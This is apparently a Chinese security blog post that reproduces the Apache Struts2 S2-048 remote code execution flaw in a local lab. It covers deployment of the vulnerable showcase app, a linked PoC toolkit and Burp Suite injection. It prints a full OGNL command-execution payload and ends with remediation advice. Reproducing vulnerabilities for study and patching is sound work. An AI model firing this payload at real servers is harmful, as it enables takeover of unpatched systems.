Struts2 S2-048高危漏洞复现！详解几个漏洞攻击载荷利用的对比分析

【】一、S2-048 漏洞综述

1.1 漏洞背景

2017年7月7日，Apache Struts发布最新的安全公告，Apache Struts2-strus1-plugin插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9791(S2-048),主要受影响的Struts版本为：2.3.x。

攻击者可以构造恶意的字段值(value)通过Struts2的struts2-struts1-plugin的插件传递给被攻击主机，从而实现远程代码执行攻击，直接获取远程主机的控制权限。

1.2 漏洞产生原因

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数，这个函数刚好又能执行OGNL表达式，同事这个 getText() 的 参数输入点，又可以被用户直接进行控制，如果这个点被恶意攻击者所控制，就可以构造恶意执行代码，从而实现一个RCE攻击。

1.3 漏洞影响范围

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本都在其影响的范围内。

二、漏洞环境部署

2.1 漏洞环境包

本次漏洞演示，我们可以直接使用struts2.3.x环境下自带的struts2-showcase演示demo示例环境，进行S2-048漏洞复现，故这里我们只介绍下struts2.3.x的环境包。(struts2-showcase 演示环境就存S2-048漏洞)

struts2.3.24环境包下载地址：http://archive.apache.org/dist/struts/2.3.24/

2.2 Tocat环境部署

工程师可以直接安装一个XAMPP套件，其默认就带有tomcat的支持,可以直接拿来进行struts环境的部署。

(1)启动tomcat服务 

(2)Tomcat 环境访问 

2.3 S2-048漏洞环境部署

(1)解压struts-showcase

下载完struts2.3.24环境包后，我们直接将其“strus-showcase.war”的demo包解压到tomcat的webapps环境目录下(具体路径依据个人实际环境来定，可参考下图路径)。 

(2)重启tomcat服务自动部署war包

tomcat中有关war的部署比较简单，我们只需要将相关的war包放到tomcat的webapps目录下后，重启tomcat服务后，war包就会被自动解压部署。 

(3)漏洞环境访问

本struts2-showcase demo示例中有关S2-048漏洞的触发点在“Struts 1 Integration”(S1 整合)处，具体位置可参看下图。 

(4)漏洞环境验证

我在这漏洞出发点可以直接使用OGNL语法直接操作一个运算 10-7，看其是否可以直接运行并输出结果，通过验证发现果然可以直接执行并输出正确的结果。 

三、漏洞检查与利用脚本

3.1 工具准备

有关漏洞的检查与利用，这里已经收集好了相关的利用poc与脚本，相关使用方法都已经梳理输入如下，大家使用时，可以参考使用。

(1)工具包下载地址

https://github.com/W3bSafe-Team/Struts2-048-poc

(2) POC 使用方法 

(3) shell 验证exp 

3.2 漏洞检测

一般，我们在进行漏洞利用之前肯定需要进行漏洞的检测与确认，这里直接使用前面下载的工具包中的一个批量检测的POC(Struts048-POC.py)，用其进行S2-048漏洞的检测，具体检测过程如下。

(1) 创建一个url.txt文档，将需要检测的URL连接收集放入其中，这里进行漏洞触发点的检查时，我们收集了多个目录，其中包含了struts-showcase demo目录下的各个路径以及部署tomcat根目录，看看漏洞的触发是否有规律可循。 

(2) 创建一个临时文档tmp.txt,必须创建，否则脚本执行会报错。 

(3) 直接运行此python脚本; 

通过POC对各个URL进行检查后发现，只要是在struts2-showcase目录下的路径，都可以做为漏洞触发的利用点，而不在此目录下，漏洞无法触发。(那么在这里也告诉我们有关此S2-048漏洞的修复方法，就是删除或者禁用此目录。)

3.3 漏洞利用复现

接下来，我们使用网络上提供的检测脚本和抓包截断的利用方式分别复现下漏洞的利用过程。

3.3.1 shell脚本利用复现

利用上一个章节检测出的三个可以利用URL，我们直接使用漏洞利用shell进行漏洞利用复现。

注：由于需要使用Linux环境才能运行shell脚本，我这里开启了kali,并将URL中的127.0.0.1的地址替换为10.48.8.234，请大家在看截图过程，希望不要有什么疑惑。

(1)URL1利用：http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action 

(2)URL2利用：http://10.48.8.234:8080/struts2-showcase/integration/ 

(3)URL3利用：http://10.48.8.234:8080/struts2-showcase/ 

通过上面针对三个URL漏洞触发点进入S2-048漏洞直接getshell利用验证，更加严谨的证实了只要是在showcase demo目录下的URL路径都可以直接被利用。

3.3.2 抓包截断利用复现

如果我们仔细查看最近爆出的S2-045、S2-046、S2-048，该漏洞利用的payload 其实都是一样的，不同的仅仅是触发点不同，影响范围不同而已。S2-045的影响方位最广，只要是使用当时的Struts2框架的系统基本都在其影响的范围内，而后面的S2-046和S2-048漏洞的漏洞触发点有一点的限制条件，本次S2-048漏洞的利用条件就是你在使用了 struts2-struts1-plugin插件的情况下，才会触发漏洞的产生。

这里我们就复现下，使用与前期S2-045漏洞利用Content-type字段来传递攻击payload到目标主机的方法，来复现下S2-048漏洞的利用。

3.3.2.1 攻击payload准备

我直接使用前面下载的shell脚本的中的payload进行后续的抓包截断攻击的演示复现。

%{(#nike=’multipart/form-data’).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’whoami’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 

3.3.2.2 抓包截断攻击

• (1)第一步：首先使用burpsuite截断“http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action”访问; 

•  (2)第二步：将当前截断数据包发送到repeater模块，修改content-type字段为攻击payload; 

• (3)第三步：修改payload命令执行字段为”whoami”,发送攻击包; 

这里我将shell脚本中的045,046,048的payload攻击载荷都放入burpsuite的repeater模块进行了重复发包验证，发现都可以利用成功，具体验证情况如下。

• S2045 Payload验证截图 

•  S2046 Payload验证截图 

通过上面burpsuite重复发包验证，S2045、S2046、S2048的攻击payload都可以对S2048漏洞进行远程命令执行，获取主机的控制权限，这里我们会发现上半年暴露出的“S2045、S2046、S2048”攻击载荷都是一样的，只是漏洞的触发点不同而已。

以上观点仅个人漏洞复现利用归纳总结所得，如有什么有误的地方，有路过的大神能给以指定，这里谢过。

四、 S2-048 漏洞修复与加固

(1)直接禁用 struts2-struts1-plugin插件;

(2)对于如果启用 struts2-showcase 演示示例系统，应立即删除本演示示例;

(3)升级当前struts2 到最新版本;

(4)不要相信用户端的任何数据输入，建议开发者通过使用resource keys替代将原始消息直接传递给ActionMessage的方式，如：

messages.add(“msg”, new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

漏洞学习参考

1. Struts2高危漏洞S2-048动态分析

http://www.moonsec.com/post-776.html

2. Struts(S2-048)远程命令执行漏洞分析

http://www.sohu.com/a/155509766_290304

3. Struts2-048 Poc Shell版本(附修复方案)

https://bbs.ichunqiu.com/thread-24504-1-1.html

https://github.com/W3bSafe-Team/Struts2-048-poc

4. Apache 官方说明

https://cwiki.apache.org/confluence/display/WW/S2-048 

【原创稿件，合作站点转载请注明原文作者和出处为.com】